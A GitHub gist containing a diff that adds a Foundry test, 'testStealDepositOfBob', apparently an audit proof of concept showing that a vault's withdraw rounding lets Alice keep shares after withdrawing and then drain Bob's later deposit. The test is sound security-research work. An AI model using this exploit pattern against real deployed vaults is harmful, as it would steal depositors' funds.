Skip to content

Instantly share code, notes, and snippets.

@zzzitron
Created July 14, 2023 19:10
Show Gist options
  • Save zzzitron/397790302ca95aa3fbf05694ae1497ab to your computer and use it in GitHub Desktop.
Save zzzitron/397790302ca95aa3fbf05694ae1497ab to your computer and use it in GitHub Desktop.
diff --git a/Deposit.t.sol.orig b/Deposit.t.sol
index e66a226..f8552c6 100644
--- a/Deposit.t.sol.orig
+++ b/Deposit.t.sol
@@ -6,7 +6,8 @@ import { MintMoreThanMax, DepositMoreThanMax } from "src/Vault.sol";
import { BrokenToken } from "brokentoken/BrokenToken.sol";
import { IERC20, UnitBaseSetup } from "test/utils/UnitBaseSetup.t.sol";
-import { console2 } from "forge-std/Test.sol";
+// import { console2 } from "forge-std/Test.sol";
+import "forge-std/Test.sol";
contract VaultDepositTest is UnitBaseSetup, BrokenToken {
/* ============ Events ============ */
@@ -51,6 +52,109 @@ contract VaultDepositTest is UnitBaseSetup, BrokenToken {
vm.stopPrank();
}
+ function testStealDepositOfBob() external {
+ uint256 _amount = type(uint96).max;
+
+ vm.startPrank(bob);
+ underlyingAsset.mint(bob, _amount);
+ underlyingAsset.approve(address(vault), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(alice);
+
+ underlyingAsset.mint(alice, _amount);
+ underlyingAsset.mint(alice, _amount);
+ underlyingAsset.approve(address(vault), type(uint256).max);
+
+ vm.expectEmit();
+ emit RecordedExchangeRate(1e18);
+
+ vm.expectEmit();
+ emit Transfer(address(0), alice, _amount);
+
+ vm.expectEmit();
+ emit Deposit(alice, alice, _amount, _amount);
+
+ vault.deposit(_amount, alice);
+ vault.deposit(_amount, alice);
+
+ uint doubleAmount = _amount * 2;
+
+ assertEq(vault.balanceOf(alice), doubleAmount);
+
+ assertEq(twabController.balanceOf(address(vault), alice), doubleAmount);
+ assertEq(twabController.delegateBalanceOf(address(vault), alice), doubleAmount);
+
+ assertEq(underlyingAsset.balanceOf(address(yieldVault)), doubleAmount);
+ assertEq(yieldVault.balanceOf(address(vault)), doubleAmount);
+ assertEq(yieldVault.totalSupply(), doubleAmount);
+
+ // this should be 2 * _amount depositted
+ uint aliceMaxWithdraw = vault.maxWithdraw(alice);
+ assertEq(aliceMaxWithdraw, doubleAmount);
+
+ vault.withdraw(aliceMaxWithdraw, alice, alice);
+ assertEq(underlyingAsset.balanceOf(alice), doubleAmount);
+
+ uint balanceAfterWithdraw = vault.balanceOf(alice);
+
+ console.log("balanceAfterWithdraw:");
+ console.log(balanceAfterWithdraw);
+
+ // @audit balanceAfterWithdraw > 0
+ assertGt(balanceAfterWithdraw, 0);
+
+ // @audit balanceAfterWithdraw >= _amount
+ // balanceAfterWithdraw can be bigger due to some other rounding/precision/calculation issues
+ assertGe(balanceAfterWithdraw, (_amount-10)); // @audit (_amount-10) to avoid rounding issues
+
+ uint vaultTotalAssets = vault.totalAssets();
+ console.log("ohohhh vaultTotalAssets:");
+ console.log(vaultTotalAssets);
+
+ // @audit: show that vault has 0 assets after alice withdrew everything
+ assertEq(vaultTotalAssets, 0);
+
+ aliceMaxWithdraw = vault.maxWithdraw(alice);
+ console.log("ohohhh aliceMaxWithdraw:");
+ console.log(aliceMaxWithdraw);
+
+ // @audit: expect revert here because the vault has 0 assets
+ vm.expectRevert(bytes("ERC4626: withdraw more than max"));
+ vault.withdraw(1, alice, alice);
+
+ vm.stopPrank();
+
+ uint bobAmount = type(uint96).max - 100; // @audit -100 just in case for rounding/precision issues later
+
+ vm.startPrank(bob);
+ vault.deposit(bobAmount, bob);
+ uint vaultAssetsFromBob = vault.totalAssets();
+ assertGt(vaultAssetsFromBob, 0);
+ assertEq(vaultAssetsFromBob, bobAmount);
+ assertEq(vault.balanceOf(bob), bobAmount);
+ uint bobMaxWithdrawBefore = vault.maxWithdraw(bob);
+ console.log("*** bobAmount:");
+ console.log(bobAmount);
+ console.log("bobMaxWithdrawBefore:");
+ console.log(bobMaxWithdrawBefore);
+ vm.stopPrank();
+
+ vm.startPrank(alice);
+
+ aliceMaxWithdraw = vault.maxWithdraw(alice);
+
+ // @audit: show that alice can withdraw again thanks to bob's deposit
+ vault.withdraw(aliceMaxWithdraw-1000000, alice, alice);
+
+ // @audit: Alice could withdraw again and vault assets are now smaller than vaultAssetsFromBob,
+ // which shows that Alice stole depositted assets from Bob by abusing the withdraw issue where
+ // the max burnt shares are type(uint96).max
+ assertLt(vault.totalAssets(), vaultAssetsFromBob);
+
+ vm.stopPrank();
+ }
+
function testDepositMoreThanMax() external {
vm.startPrank(alice);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment